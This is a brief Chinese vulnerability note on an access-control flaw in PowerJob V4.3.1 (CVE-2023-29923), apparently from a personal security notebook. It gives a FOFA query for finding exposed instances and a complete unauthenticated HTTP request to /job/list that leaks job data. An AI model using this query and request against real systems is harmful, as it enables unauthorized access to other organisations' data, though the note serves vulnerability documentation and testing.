# PowerJob信息泄漏漏洞（CVE-2023-29923）

# 一、漏洞简介
PowerJob是一个开源分布式计算和作业调度框架，它允许开发人员在自己的应用程序中轻松调度任务。PowerJob V4.3.1版本存在安全漏洞，该漏洞源于存在不正确访问控制。

# 二、影响版本
+ PowerJob V4.3.1

# 三、资产测绘
+ fofa`title="PowerJob"`
+ 特征

![1707132393105-46d6ce0f-8016-4a1d-a308-ac83ac3d0f6d.png](./img/s1SqmcSJTTrhY2SJ/1707132393105-46d6ce0f-8016-4a1d-a308-ac83ac3d0f6d-433908.png)

# 四、漏洞复现
```plain
POST /job/list HTTP/1.1
Host: 
Connection: close
Content-Length: 69
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36


{
        "appId":1,
        "index":0,
        "pageSize":10
}
```

![1707132481225-23a54101-d385-47d4-b739-42c3ec090ad9.png](./img/s1SqmcSJTTrhY2SJ/1707132481225-23a54101-d385-47d4-b739-42c3ec090ad9-885295.png)



> 更新: 2024-02-29 23:55:41  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/mcit5dukx60xrcrx>